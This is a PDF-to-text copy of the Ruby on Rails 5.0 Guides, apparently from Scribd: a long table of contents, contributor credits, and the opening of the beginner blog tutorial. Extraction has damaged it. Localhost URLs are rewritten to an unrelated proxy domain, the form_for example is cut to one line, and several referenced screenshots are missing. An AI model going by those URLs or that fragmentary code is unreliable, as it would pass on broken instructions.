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Ruby On Rails Guides v2 - Ruby On Rails

The document provides an overview of the Ruby on Rails Guides which cover topics like getting started with Rails, Active Record, Action Controller, testing, security, debugging and more. It includes a table of contents listing over 100 sections across the different guides.

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Manmeet Dhaliwal

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100% found this document useful (1 vote)

3K views

Ruby On Rails Guides v2 - Ruby On Rails

Uploaded by

Manmeet Dhaliwal

Available Formats

Download as PDF, TXT or read online on Scribd

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Front Matter
Ruby on Rails Guides (v5.0.0.1)
Credits
Getting Started with Rails Ruby on...
1 Guide Assumptions
2 What is Rails?
3 Creating a New Rails Project
4 Hello, Rails!
5 Getting Up and Running
6 Adding a Second Model
7 Refactoring
8 Deleting Comments
9 Security
10 What's Next?
11 Configuration Gotchas
Active Record Basics Ruby on Rails...
1 What is Active Record?
2 Convention over Configuration in Active Record
3 Creating Active Record Models
4 Overriding the Naming Conventions
5 CRUD: Reading and Writing Data
6 Validations
7 Callbacks
8 Migrations

Active Record Migrations Ruby on...

1 Migration Overview
2 Creating a Migration
3 Writing a Migration
4 Running Migrations
5 Changing Existing Migrations
6 Schema Dumping and You
7 Active Record and Referential Integrity
8 Migrations and Seed Data
Active Record Validations Ruby on...
1 Validations Overview
2 Validation Helpers
3 Common Validation Options
4 Strict Validations
5 Conditional Validation
6 Performing Custom Validations
7 Working with Validation Errors
8 Displaying Validation Errors in Views
Active Record Callbacks Ruby on...
1 The Object Life Cycle
2 Callbacks Overview
3 Available Callbacks
4 Running Callbacks
5 Skipping Callbacks
6 Halting Execution
7 Relational Callbacks
8 Conditional Callbacks
9 Callback Classes

10 Transaction Callbacks
Active Record Associations Ruby on...
1 Why Associations?
2 The Types of Associations
3 Tips, Tricks, and Warnings
4 Detailed Association Reference
5 Single Table Inheritance
Active Record Query Interface Ruby...
1 Retrieving Objects from the Database
2 Conditions
3 Ordering
4 Selecting Specific Fields
5 Limit and Offset
6 Group
7 Having
8 Overriding Conditions
9 Null Relation
10 Readonly Objects
11 Locking Records for Update
12 Joining Tables
13 Eager Loading Associations
14 Scopes
15 Dynamic Finders
16 Enums
17 Understanding The Method Chaining
18 Find or Build a New Object
19 Finding by SQL
20 Existence of Objects
21 Calculations

22 Running EXPLAIN
Active Model Basics Ruby on Rails...
1 Introduction
Action View Overview Ruby on Rails...
1 What is Action View?
2 Using Action View with Rails
3 Templates, Partials and Layouts
4 Partial Layouts
5 View Paths
6 Overview of helpers provided by Action View
7 Localized Views
Layouts and Rendering in Rails Ruby...
1 Overview: How the Pieces Fit Together
2 Creating Responses
3 Structuring Layouts
Form Helpers Ruby on Rails Guides
1 Dealing with Basic Forms
2 Dealing with Model Objects
3 Making Select Boxes with Ease
4 Using Date and Time Form Helpers
5 Uploading Files
6 Customizing Form Builders
7 Understanding Parameter Naming Conventions
8 Forms to External Resources

9 Building Complex Forms

Action Controller Overview Ruby on...
1 What Does a Controller Do?
2 Controller Naming Convention
3 Methods and Actions
4 Parameters
5 Session
6 Cookies
7 Rendering XML and JSON data
8 Filters
9 Request Forgery Protection
10 The Request and Response Objects
11 HTTP Authentications
12 Streaming and File Downloads
13 Log Filtering
14 Rescue
15 Force HTTPS protocol
Rails Routing from the Outside In ...
1 The Purpose of the Rails Router
2 Resource Routing: the Rails Default
3 Non-Resourceful Routes
4 Customizing Resourceful Routes
5 Inspecting and Testing Routes
Active Support Core Extensions Ruby...
1 How to Load Core Extensions
2 Extensions to All Objects
3 Extensions to Module

4 Extensions to Class
5 Extensions to String
6 Extensions to Numeric
7 Extensions to Integer
8 Extensions to BigDecimal
9 Extensions to Enumerable
10 Extensions to Array
11 Extensions to Hash
12 Extensions to Regexp
13 Extensions to Range
14 Extensions to Date
15 Extensions to DateTime
16 Extensions to Time
17 Extensions to File
18 Extensions to Marshal
19 Extensions to NameError
20 Extensions to LoadError
Rails Internationalization (I18n) API...
1 How I18n in Ruby on Rails Works
2 Setup the Rails Application for Internationalization
3 Internationalization and Localization
4 Overview of the I18n API Features
5 How to Store your Custom Translations
6 Customize your I18n Setup
7 Conclusion
8 Contributing to Rails I18n
9 Resources
10 Authors
11 Footnotes
Action Mailer Basics Ruby on Rails...

1 Introduction
2 Sending Emails
3 Receiving Emails
4 Action Mailer Callbacks
5 Using Action Mailer Helpers
6 Action Mailer Configuration
7 Mailer Testing
8 Intercepting Emails
Active Job Basics Ruby on Rails Guides
1 Introduction
2 The Purpose of Active Job
3 Creating a Job
4 Job Execution
5 Queues
6 Callbacks
7 Action Mailer
8 Internationalization
9 GlobalID
10 Exceptions
11 Job Testing
A Guide to Testing Rails Applications...
1 Why Write Tests for your Rails Applications?
2 Introduction to Testing
3 The Test Database
4 Model Testing
5 Integration Testing
6 Functional Tests for Your Controllers
7 Testing Routes
8 Testing Views

9 Testing Helpers
10 Testing Your Mailers
11 Testing Jobs
12 Additional Testing Resources
Ruby on Rails Security Guide Ruby on...
1 Introduction
2 Sessions
3 Cross-Site Request Forgery (CSRF)
4 Redirection and Files
5 Intranet and Admin Security
6 User Management
7 Injection
8 Unsafe Query Generation
9 Default Headers
10 Environmental Security
11 Additional Resources
Debugging Rails Applications Ruby on...
1 View Helpers for Debugging
2 The Logger
3 Debugging with the byebug gem
4 Debugging with the web-console gem
5 Debugging Memory Leaks
6 Plugins for Debugging
7 References
Configuring Rails Applications Ruby...
1 Locations for Initialization Code
2 Running Code Before Rails

3 Configuring Rails Components

4 Rails Environment Settings
5 Using Initializer Files
6 Initialization events
7 Database pooling
8 Custom configuration
9 Search Engines Indexing
10 Evented File System Monitor
The Rails Command Line Ruby on Rails...
1 Command Line Basics
2 bin/rails
3 The Rails Advanced Command Line
The Asset Pipeline Ruby on Rails...
1 What is the Asset Pipeline?
2 How to Use the Asset Pipeline
3 In Development
4 In Production
5 Customizing the Pipeline
6 Assets Cache Store
7 Adding Assets to Your Gems
8 Making Your Library or Gem a Pre-Processor
9 Upgrading from Old Versions of Rails
Working with JavaScript in Rails ...
1 An Introduction to Ajax
2 Unobtrusive JavaScript
3 Built-in Helpers
4 Server-Side Concerns

5 Turbolinks
6 Other Resources
The Rails Initialization Process ...
1 Launch!
2 Loading Rails
Autoloading and Reloading Constants ...
1 Introduction
2 Constants Refresher
3 Vocabulary
4 Autoloading Availability
5 autoload_paths
6 Autoloading Algorithms
7 require_dependency
8 Constant Reloading
9 Module#autoload isn't Involved
10 Common Gotchas
Caching with Rails: An Overview Ruby...
1 Basic Caching
2 Cache Stores
3 Cache Keys
4 Conditional GET support
5 References
Active Support Instrumentation Ruby...
1 Introduction to instrumentation

2 Rails framework hooks

3 Action Controller
4 Action View
5 Active Record
6 Action Mailer
7 Active Support
8 Active Job
9 Railties
10 Rails
11 Subscribing to an event
12 Creating custom events
A Guide to Profiling Rails...
Using Rails for API-only Applications...
1 What is an API Application?
2 Why Use Rails for JSON APIs?
3 The Basic Configuration
4 Choosing Middleware
5 Choosing Controller Modules
Ruby on Rails Guides
1 Introduction
2 What is Pub/Sub
3 Server-Side Components
4 Client-Side Components
5 Client-Server Interactions
6 Full-Stack Examples
7 Configuration
8 Running Standalone Cable Servers
9 Dependencies

10 Deployment
The Basics of Creating Rails Plugins ...
1 Setup
2 Testing Your Newly Generated Plugin
3 Extending Core Classes
4 Add an "acts_as" Method to Active Record
5 Generators
6 Publishing Your Gem
7 RDoc Documentation
Rails on Rack Ruby on Rails Guides
1 Introduction to Rack
2 Rails on Rack
3 Action Dispatcher Middleware Stack
4 Resources
Creating and Customizing Rails...
1 First Contact
2 Creating Your First Generator
3 Creating Generators with Generators
4 Generators Lookup
5 Customizing Your Workflow
6 Customizing Your Workflow by Changing Generators Templates
7 Adding Generators Fallbacks
8 Application Templates
9 Generator methods
Getting Started with Engines Ruby on...

1 What are engines?

2 Generating an engine
3 Providing engine functionality
4 Hooking Into an Application
5 Testing an engine
6 Improving engine functionality
Contributing to Ruby on Rails Ruby...
1 Reporting an Issue
2 Helping to Resolve Existing Issues
3 Contributing to the Rails Documentation
4 Translating Rails Guides
5 Contributing to the Rails Code
6 Rails Contributors
API Documentation Guidelines Ruby on...
1 RDoc
2 Wording
3 English
4 Oxford Comma
5 Example Code
6 Booleans
7 File Names
8 Fonts
9 Description Lists
10 Dynamically Generated Methods
11 Method Visibility
12 Regarding the Rails Stack
Ruby on Rails Guides Guidelines Ruby...

1 Markdown
2 Prologue
3 Headings
4 API Documentation Guidelines
5 HTML Guides
6 Kindle Guides
Maintenance Policy for Ruby on Rails ...
1 New Features
2 Bug Fixes
3 Security Issues
4 Severe Security Issues
5 Unsupported Release Series
A Guide for Upgrading Ruby on Rails ...
1 General Advice
2 Upgrading from Rails 4.2 to Rails 5.0
3 Upgrading from Rails 4.1 to Rails 4.2
4 Upgrading from Rails 4.0 to Rails 4.1
5 Upgrading from Rails 3.2 to Rails 4.0
6 Upgrading from Rails 3.1 to Rails 3.2
7 Upgrading from Rails 3.0 to Rails 3.1
Ruby on Rails 5.0 Release Notes Ruby...
1 Upgrading to Rails 5.0
2 Major Features
3 Railties
4 Action Pack
5 Action View
6 Action Mailer

7 Active Record
8 Active Model
9 Active Job
10 Active Support
11 Credits
Ruby on Rails 4.2 Release Notes Ruby...
1 Upgrading to Rails 4.2
2 Major Features
3 Incompatibilities
4 Railties
5 Action Pack
6 Action View
7 Action Mailer
8 Active Record
9 Active Model
10 Active Support
11 Credits
Ruby on Rails 4.1 Release Notes Ruby...
1 Upgrading to Rails 4.1
2 Major Features
3 Railties
4 Action Pack
5 Action Mailer
6 Active Record
7 Active Model
8 Active Support
9 Credits
Ruby on Rails 4.0 Release Notes Ruby...

1 Upgrading to Rails 4.0

2 Creating a Rails 4.0 application
3 Major Features
4 Extraction of features to gems
5 Documentation
6 Railties
7 Action Mailer
8 Active Model
9 Active Support
10 Action Pack
11 Active Record
12 Credits
Ruby on Rails 3.2 Release Notes Ruby...
1 Upgrading to Rails 3.2
2 Creating a Rails 3.2 application
3 Major Features
4 Documentation
5 Railties
6 Action Mailer
7 Action Pack
8 Active Record
9 Active Model
10 Active Resource
11 Active Support
12 Credits
Ruby on Rails 3.1 Release Notes Ruby...
1 Upgrading to Rails 3.1
2 Creating a Rails 3.1 application
3 Rails Architectural Changes

4 Railties
5 Action Pack
6 Active Record
7 Active Model
8 Active Resource
9 Active Support
10 Credits
Ruby on Rails 3.0 Release Notes Ruby...
1 Upgrading to Rails 3
2 Creating a Rails 3.0 application
3 Rails Architectural Changes
4 Documentation
5 Internationalization
6 Railties
7 Action Pack
8 Active Model
9 Active Record
10 Active Resource
11 Active Support
12 Action Mailer
13 Credits
Ruby on Rails 2.3 Release Notes Ruby...
1 Application Architecture
2 Documentation
3 Ruby 1.9.1 Support
4 Active Record
5 Action Controller
6 Action View
7 Active Support

8 Railties
9 Deprecated
10 Credits
Ruby on Rails 2.2 Release Notes Ruby...
1 Infrastructure
2 Documentation
3 Better integration with HTTP : Out of the box ETag support
4 Thread Safety
5 Active Record
6 Action Controller
7 Action View
8 Action Mailer
9 Active Support
10 Railties
11 Deprecated
12 Credits

Front Matter

Ruby on Rails Guides (v5.0.0.1)

These are the new guides for Rails 5.0 based on v5.0.0.1. These guides are
designed to make you immediately productive with Rails, and to help you
understand how all of the pieces fit together.
The guides for earlier releases: Rails 4.2, Rails 4.1, Rails 4.0, Rails 3.2,
and Rails 2.3.
Kindle Edition
The Kindle Edition of the Rails Guides should be considered a work in
progress. Feedback is really welcome. Please see the "Feedback" section at
the end of each guide for instructions.

Credits
We'd like to thank the following people for their tireless contributions to
this project.

Rails Guides Reviewers

Vijay Dev
Vijayakumar, found as Vijay Dev on the web, is a web applications
developer and an open source enthusiast who lives in Chennai, India. He
started using Rails in 2009 and began actively contributing to Rails
documentation in late 2010. He tweets a lot and also blogs.

Xavier Noria
Xavier Noria has been into Ruby on Rails since 2005. He is a Rails core
team member and enjoys combining his passion for Rails and his past life
as a proofreader of math textbooks. Xavier is currently an independent
Ruby on Rails consultant. Oh, he also tweets and can be found everywhere
as "fxn".
Rails Guides Designers

Jason Zimdars
Jason Zimdars is an experienced creative director and web designer who
has lead UI and UX design for numerous websites and web applications.
You can see more of his design and writing at Thinkcage.com or follow
him on Twitter.
Rails Guides Authors

Ryan Bigg
Ryan Bigg works as a Rails developer at Marketplacer and has been
working with Rails since 2006. He's the author of Multi Tenancy With
Rails and co-author of Rails 4 in Action. He's written many gems which
can be seen on his GitHub page and he also tweets prolifically as
@ryanbigg.

Oscar Del Ben

Oscar Del Ben is a software engineer at Wildfire. He's a regular open
source contributor (GitHub account) and tweets regularly at @oscardelben.

Frederick Cheung
Frederick Cheung is Chief Wizard at Texperts where he has been using
Rails since 2006. He is based in Cambridge (UK) and when not consuming
fine ales he blogs at spacevatican.org.

Tore Darell
Tore Darell is an independent developer based in Menton, France who
specialises in cruft-free web applications using Ruby, Rails and
unobtrusive JavaScript. You can follow him on Twitter.

Jeff Dean
Jeff Dean is a software engineer with Pivotal Labs.

Mike Gunderloy
Mike Gunderloy is a consultant with ActionRails. He brings 25 years of
experience in a variety of languages to bear on his current work with Rails.
His near-daily links and other blogging can be found at A Fresh Cup and
he twitters too much.

Mikel Lindsaar
Mikel Lindsaar has been working with Rails since 2006 and is the author
of the Ruby Mail gem and core contributor (he helped re-write Action
Mailer's API). Mikel is the founder of RubyX, has a blog and tweets.

Cssio Marques
Cssio Marques is a Brazilian software developer working with different
programming languages such as Ruby, JavaScript, CPP and Java, as an
independent consultant. He blogs at /* CODIFICANDO */, which is
mainly written in Portuguese, but will soon get a new section for posts

with English translation.

James Miller
James Miller is a software developer for JK Tech in San Diego, CA. You
can find James on GitHub, Gmail, Twitter, and Freenode as "bensie".

Pratik Naik
Pratik Naik is a Ruby on Rails developer at Basecamp and also a member
of the Rails core team. He maintains a blog at has_many :bugs, :through
=> :rails and has a semi-active twitter account.

Emilio Tagua
Emilio Tagua a.k.a. miloops is an Argentinian entrepreneur,
developer, open source contributor and Rails evangelist. Cofounder of
Eventioz. He has been using Rails since 2006 and contributing since early
2008. Can be found at gmail, twitter, freenode, everywhere as "miloops".

Heiko Webers
Heiko Webers is the founder of bauland42, a German web application
security consulting and development company focused on Ruby on Rails.
He blogs at the Ruby on Rails Security Project. After 10 years of desktop
application development, Heiko has rarely looked back.

Akshay Surve
Akshay Surve is the Founder at DeltaX, hackathon specialist, a midnight
code junkie and occasionally writes prose. You can connect with him on
Twitter, Linkedin, Personal Blog or Quora.
This work is licensed under a Creative Commons Attribution-ShareAlike
4.0 International License
"Rails", "Ruby on Rails", and the Rails logo are trademarks of David
Heinemeier Hansson. All rights reserved.

Getting Started with Rails Ruby

on...

1 Guide Assumptions
This guide is designed for beginners who want to get started with a Rails
application from scratch. It does not assume that you have any prior
experience with Rails. However, to get the most out of it, you need to have
some prerequisites installed:
The Ruby language version 2.2.2 or newer.
Right version of Development Kit, if you are using Windows.
The RubyGems packaging system, which is installed with Ruby by
default. To learn more about RubyGems, please read the RubyGems
Guides.
A working installation of the SQLite3 Database.
Rails is a web application framework running on the Ruby programming
language. If you have no prior experience with Ruby, you will find a very
steep learning curve diving straight into Rails. There are several curated
lists of online resources for learning Ruby:
Official Ruby Programming Language website
List of Free Programming Books
Be aware that some resources, while still excellent, cover versions of Ruby
as old as 1.6, and commonly 1.8, and will not include some syntax that you
will see in day-to-day development with Rails.

2 What is Rails?
Rails is a web application development framework written in the Ruby
language. It is designed to make programming web applications easier by
making assumptions about what every developer needs to get started. It
allows you to write less code while accomplishing more than many other
languages and frameworks. Experienced Rails developers also report that
it makes web application development more fun.
Rails is opinionated software. It makes the assumption that there is a
"best" way to do things, and it's designed to encourage that way - and in
some cases to discourage alternatives. If you learn "The Rails Way" you'll
probably discover a tremendous increase in productivity. If you persist in
bringing old habits from other languages to your Rails development, and
trying to use patterns you learned elsewhere, you may have a less happy
experience.
The Rails philosophy includes two major guiding principles:
Don't Repeat Yourself: DRY is a principle of software development
which states that "Every piece of knowledge must have a single,
unambiguous, authoritative representation within a system." By not
writing the same information over and over again, our code is more
maintainable, more extensible, and less buggy.
Convention Over Configuration: Rails has opinions about the best
way to do many things in a web application, and defaults to this set of
conventions, rather than require that you specify every minutiae
through endless configuration files.

3 Creating a New Rails Project

The best way to read this guide is to follow it step by step. All steps are
essential to run this example application and no additional code or steps
are needed.
By following along with this guide, you'll create a Rails project called
blog, a (very) simple weblog. Before you can start building the
application, you need to make sure that you have Rails itself installed.
The examples below use $ to represent your terminal prompt in a UNIXlike OS, though it may have been customized to appear differently. If you
are using Windows, your prompt will look something like
c:\source_code>

3.1 Installing Rails

Open up a command line prompt. On Mac OS X open Terminal.app, on
Windows choose "Run" from your Start menu and type 'cmd.exe'. Any
commands prefaced with a dollar sign $ should be run in the command
line. Verify that you have a current version of Ruby installed:
$ ruby -v
ruby 2.3.0p0

A number of tools exist to help you quickly install Ruby and Ruby on
Rails on your system. Windows users can use Rails Installer, while Mac
OS X users can use Tokaido. For more installation methods for most
Operating Systems take a look at ruby-lang.org.
Many popular UNIX-like OSes ship with an acceptable version of
SQLite3. On Windows, if you installed Rails through Rails Installer, you
already have SQLite installed. Others can find installation instructions at
the SQLite3 website. Verify that it is correctly installed and in your

PATH:
$ sqlite3 --version

The program should report its version.

To install Rails, use the gem install command provided by RubyGems:
$ gem install rails

To verify that you have everything installed correctly, you should be able
to run the following:
$ rails --version

If it says something like "Rails 5.0.0", you are ready to continue.

3.2 Creating the Blog Application
Rails comes with a number of scripts called generators that are designed to
make your development life easier by creating everything that's necessary
to start working on a particular task. One of these is the new application
generator, which will provide you with the foundation of a fresh Rails
application so that you don't have to write it yourself.
To use this generator, open a terminal, navigate to a directory where you
have rights to create files, and type:
$ rails new blog

This will create a Rails application called Blog in a blog directory and
install the gem dependencies that are already mentioned in Gemfile using
bundle install.

You can see all of the command line options that the Rails application
builder accepts by running rails new -h.
After you create the blog application, switch to its folder:
$ cd blog

The blog directory has a number of auto-generated files and folders that
make up the structure of a Rails application. Most of the work in this
tutorial will happen in the app folder, but here's a basic rundown on the
function of each of the files and folders that Rails created by default:
File/Folder

Purpose
Contains the controllers, models, views, helpers, mailers
app/
and assets for your application. You'll focus on this folder
for the remainder of this guide.
Contains the rails script that starts your app and can
bin/
contain other scripts you use to setup, update, deploy or
run your application.
Configure your application's routes, database, and more.
config/
This is covered in more detail in Configuring Rails
Applications.
Rack configuration for Rack based servers used to start the
config.ru
application.
Contains your current database schema, as well as the
db/
database migrations.
These files allow you to specify what gem dependencies
Gemfile
are needed for your Rails application. These files are used
Gemfile.lock by the Bundler gem. For more information about Bundler,
see the Bundler website.
lib/
Extended modules for your application.
log/
Application log files.

The only folder seen by the world as-is. Contains static

files and compiled assets.
This file locates and loads tasks that can be run from the
command line. The task definitions are defined throughout
Rakefile
the components of Rails. Rather than changing Rakefile,
you should add your own tasks by adding files to the
lib/tasks directory of your application.
This is a brief instruction manual for your application. You
README.md should edit this file to tell others what your application
does, how to set it up, and so on.
Unit tests, fixtures, and other test apparatus. These are
test/
covered in Testing Rails Applications.
tmp/
Temporary files (like cache and pid files).
A place for all third-party code. In a typical Rails
vendor/
application this includes vendored gems.
public/

4 Hello, Rails!
To begin with, let's get some text up on screen quickly. To do this, you
need to get your Rails application server running.
4.1 Starting up the Web Server
You actually have a functional Rails application already. To see it, you
need to start a web server on your development machine. You can do this
by running the following in the blog directory:
$ bin/rails server

If you are using Windows, you have to pass the scripts under the bin
folder directly to the Ruby interpreter e.g. ruby bin\rails server.
Compiling CoffeeScript and JavaScript asset compression requires you
have a JavaScript runtime available on your system, in the absence of a
runtime you will see an execjs error during asset compilation. Usually
Mac OS X and Windows come with a JavaScript runtime installed. Rails
adds the therubyracer gem to the generated Gemfile in a commented line
for new apps and you can uncomment if you need it. therubyrhino is the
recommended runtime for JRuby users and is added by default to the
Gemfile in apps generated under JRuby. You can investigate all the
supported runtimes at ExecJS.
This will fire up Puma, a web server distributed with Rails by default. To
see your application in action, open a browser window and navigate to
http://localhost:3000. You should see the Rails default information page:

To stop the web server, hit Ctrl+C in the terminal window where it's
running. To verify the server has stopped you should see your command
prompt cursor again. For most UNIX-like systems including Mac OS X
this will be a dollar sign $. In development mode, Rails does not generally
require you to restart the server; changes you make in files will be
automatically picked up by the server.
The "Welcome aboard" page is the smoke test for a new Rails application:

it makes sure that you have your software configured correctly enough to
serve a page.
4.2 Say "Hello", Rails
To get Rails saying "Hello", you need to create at minimum a controller
and a view.
A controller's purpose is to receive specific requests for the application.
Routing decides which controller receives which requests. Often, there is
more than one route to each controller, and different routes can be served
by different actions. Each action's purpose is to collect information to
provide it to a view.
A view's purpose is to display this information in a human readable
format. An important distinction to make is that it is the controller, not the
view, where information is collected. The view should just display that
information. By default, view templates are written in a language called
eRuby (Embedded Ruby) which is processed by the request cycle in Rails
before being sent to the user.
To create a new controller, you will need to run the "controller" generator
and tell it you want a controller called "Welcome" with an action called
"index", just like this:
$ bin/rails generate controller Welcome index

Rails will create several files and a route for you.

create app/controllers/welcome_controller.rb
route get 'welcome/index'
invoke erb
create app/views/welcome
create app/views/welcome/index.html.erb
invoke test_unit

create test/controllers/welcome_controller_test.rb
invoke helper
create app/helpers/welcome_helper.rb
invoke assets
invoke coffee
create app/assets/javascripts/welcome.coffee
invoke scss
create app/assets/stylesheets/welcome.scss

Most important of these are of course the controller, located at

app/controllers/welcome_controller.rb and the view, located at
app/views/welcome/index.html.erb.
Open the app/views/welcome/index.html.erb file in your text editor.
Delete all of the existing code in the file, and replace it with the following
single line of code:
<h1>Hello, Rails!</h1>

4.3 Setting the Application Home Page

Now that we have made the controller and view, we need to tell Rails
when we want "Hello, Rails!" to show up. In our case, we want it to show
up when we navigate to the root URL of our site, http://localhost:3000. At
the moment, "Welcome aboard" is occupying that spot.
Next, you have to tell Rails where your actual home page is located.
Open the file config/routes.rb in your editor.
Rails.application.routes.draw do
get 'welcome/index'

# For details on the DSL available within this file, see http:
end

This is your application's routing file which holds entries in a special DSL
(domain-specific language) that tells Rails how to connect incoming
requests to controllers and actions. Edit this file by adding the line of code
root 'welcome#index'. It should look something like the following:
Rails.application.routes.draw do
get 'welcome/index'
root 'welcome#index'
end

root 'welcome#index' tells Rails to map requests to the root of the

application to the welcome controller's index action and get
'welcome/index' tells Rails to map requests to

http://localhost:3000/welcome/index to the welcome controller's index

action. This was created earlier when you ran the controller generator
(bin/rails generate controller Welcome index).
Launch the web server again if you stopped it to generate the controller
(bin/rails server) and navigate to http://localhost:3000 in your browser.
You'll see the "Hello, Rails!" message you put into
app/views/welcome/index.html.erb, indicating that this new route is
indeed going to WelcomeController's index action and is rendering the
view correctly.
For more information about routing, refer to Rails Routing from the
Outside In.

5 Getting Up and Running

Now that you've seen how to create a controller, an action and a view, let's
create something with a bit more substance.
In the Blog application, you will now create a new resource. A resource is
the term used for a collection of similar objects, such as articles, people or
animals. You can create, read, update and destroy items for a resource and
these operations are referred to as CRUD operations.
Rails provides a resources method which can be used to declare a
standard REST resource. You need to add the article resource to the
config/routes.rb so the file will look as follows:
Rails.application.routes.draw do
resources :articles
root 'welcome#index'
end

If you run bin/rails routes, you'll see that it has defined routes for all
the standard RESTful actions. The meaning of the prefix column (and
other columns) will be seen later, but for now notice that Rails has inferred
the singular form article and makes meaningful use of the distinction.

$ bin/rails routes
Prefix Verb URI Pattern Controller#Acti
articles GET /articles(.:format) articles#index
POST /articles(.:format) articles#create
new_article GET /articles/new(.:format) articles#new
edit_article GET /articles/:id/edit(.:format) articles#edit
article GET /articles/:id(.:format) articles#show
PATCH /articles/:id(.:format) articles#update
PUT /articles/:id(.:format) articles#update
DELETE /articles/:id(.:format) articles#destro
root GET / welcome#index

In the next section, you will add the ability to create new articles in your
application and be able to view them. This is the "C" and the "R" from
CRUD: create and read. The form for doing this will look like this:

It will look a little basic for now, but that's ok. We'll look at improving the
styling for it afterwards.
5.1 Laying down the ground work
Firstly, you need a place within the application to create a new article. A

great place for that would be at /articles/new. With the route already
defined, requests can now be made to /articles/new in the application.
Navigate to http://localhost:3000/articles/new and you'll see a routing
error:

This error occurs because the route needs to have a controller defined in
order to serve the request. The solution to this particular problem is
simple: create a controller called ArticlesController. You can do this by
running this command:
$ bin/rails generate controller Articles

If you open up the newly generated

app/controllers/articles_controller.rb you'll see a fairly empty

controller:
class ArticlesController < ApplicationController
end

A controller is simply a class that is defined to inherit from

ApplicationController. It's inside this class that you'll define methods
that will become the actions for this controller. These actions will perform
CRUD operations on the articles within our system.
There are public, private and protected methods in Ruby, but only
public methods can be actions for controllers. For more details check out
Programming Ruby.

If you refresh http://localhost:3000/articles/new now, you'll get a new

error:

This error indicates that Rails cannot find the new action inside the
ArticlesController that you just generated. This is because when
controllers are generated in Rails they are empty by default, unless you tell
it your desired actions during the generation process.
To manually define an action inside a controller, all you need to do is to
define a new method inside the controller. Open
app/controllers/articles_controller.rb and inside the
ArticlesController class, define the new method so that your controller
now looks like this:
class ArticlesController < ApplicationController
def new
end
end

With the new method defined in ArticlesController, if you refresh

http://localhost:3000/articles/new you'll see another error:

You're getting this error now because Rails expects plain actions like this
one to have views associated with them to display their information. With
no view available, Rails will raise an exception.
In the above image, the bottom line has been truncated. Let's see what the
full error message looks like:
ArticlesController#new is missing a template for this request format
and variant. request.formats: ["text/html"] request.variant: [] NOTE!
For XHR/Ajax or API requests, this action would normally respond
with 204 No Content: an empty white screen. Since you're loading it
in a web browser, we assume that you expected to actually render a
template, not nothing, so we're showing an error to be extra-clear.
If you expect 204 No Content, carry on. That's what you'll get from
an XHR or API request. Give it a shot.
That's quite a lot of text! Let's quickly go through and understand what
each part of it means.
The first part identifies which template is missing. In this case, it's the
articles/new template. Rails will first look for this template. If not found,
then it will attempt to load a template called application/new. It looks for
one here because the ArticlesController inherits from
ApplicationController.
The next part of the message contains a hash. The :locale key in this hash
simply indicates which spoken language template should be retrieved. By
default, this is the English - or "en" - template. The next key, :formats
specifies the format of template to be served in response. The default
format is :html, and so Rails is looking for an HTML template. The final
key, :handlers, is telling us what template handlers could be used to
render our template. :erb is most commonly used for HTML templates,
:builder is used for XML templates, and :coffee uses CoffeeScript to
build JavaScript templates.

The message also contains request.formats which specifies the format of

template to be served in response. It is set to text/html as we requested
this page via browser, so Rails is looking for an HTML template.
The simplest template that would work in this case would be one located at
app/views/articles/new.html.erb. The extension of this file name is
important: the first extension is the format of the template, and the second
extension is the handler that will be used. Rails is attempting to find a
template called articles/new within app/views for the application. The
format for this template can only be html and the handler must be one of
erb, builder or coffee. :erb is most commonly used for HTML
templates, :builder is used for XML templates, and :coffee uses
CoffeeScript to build JavaScript templates. Because you want to create a
new HTML form, you will be using the ERB language which is designed to
embed Ruby in HTML.
Therefore the file should be called articles/new.html.erb and needs to
be located inside the app/views directory of the application.
Go ahead now and create a new file at
app/views/articles/new.html.erb and write this content in it:
<h1>New Article</h1>

When you refresh http://localhost:3000/articles/new you'll now see that the

page has a title. The route, controller, action and view are now working
harmoniously! It's time to create the form for a new article.
5.2 The first form
To create a form within this template, you will use a form builder. The
primary form builder for Rails is provided by a helper method called
form_for. To use this method, add this code into
app/views/articles/new.html.erb:

<%= form_for :article do |f| %>

If you refresh the page now, you'll see the exact same form as in the
example. Building forms in Rails is really just that easy!
When you call form_for, you pass it an identifying object for this form. In
this case, it's the symbol :article. This tells the form_for helper what
this form is for. Inside the block for this method, the FormBuilder object represented by f - is used to build two labels and two text fields, one each
for the title and text of an article. Finally, a call to submit on the f object
will create a submit button for the form.
There's one problem with this form though. If you inspect the HTML that
is generated, by viewing the source of the page, you will see that the
action attribute for the form is pointing at /articles/new. This is a
problem because this route goes to the very page that you're on right at the
moment, and that route should only be used to display the form for a new
article.
The form needs to use a different URL in order to go somewhere else. This
can be done quite simply with the :url option of form_for. Typically in
Rails, the action that is used for new form submissions like this is called
"create", and so the form should be pointed to that action.

Edit the form_for line inside app/views/articles/new.html.erb to look

like this:
<%= form_for :article, url: articles_path do |f| %>

In this example, the articles_path helper is passed to the :url option. To

see what Rails will do with this, we look back at the output of bin/rails
routes:

The articles_path helper tells Rails to point the form to the URI Pattern
associated with the articles prefix; and the form will (by default) send a
POST request to that route. This is associated with the create action of the
current controller, the ArticlesController.
With the form and its associated route defined, you will be able to fill in
the form and then click the submit button to begin the process of creating a
new article, so go ahead and do that. When you submit the form, you
should see a familiar error:

You now need to create the create action within the ArticlesController
for this to work.
5.3 Creating articles
To make the "Unknown action" go away, you can define a create action
within the ArticlesController class in
app/controllers/articles_controller.rb, underneath the new action,
as shown:
class ArticlesController < ApplicationController
def new
end
def create
end
end

If you re-submit the form now, you may not see any change on the page.
Don't worry! This is because Rails by default returns 204 No Content
response for an action if we don't specify what the response should be. We
just added the create action but didn't specify anything about how the
response should be. In this case, the create action should save our new
article to the database.
When a form is submitted, the fields of the form are sent to Rails as
parameters. These parameters can then be referenced inside the controller
actions, typically to perform a particular task. To see what these
parameters look like, change the create action to this:

def create
render plain: params[:article].inspect
end

The render method here is taking a very simple hash with a key of :plain
and value of params[:article].inspect. The params method is the
object which represents the parameters (or fields) coming in from the
form. The params method returns an ActionController::Parameters
object, which allows you to access the keys of the hash using either strings
or symbols. In this situation, the only parameters that matter are the ones
from the form.
Ensure you have a firm grasp of the params method, as you'll use it fairly
regularly. Let's consider an example URL: http://www.example.com/?
username=dhh&[email protected]. In this URL,
params[:username] would equal "dhh" and params[:email] would equal
"[email protected]".
If you re-submit the form one more time you'll now no longer get the
missing template error. Instead, you'll see something that looks like the
following:

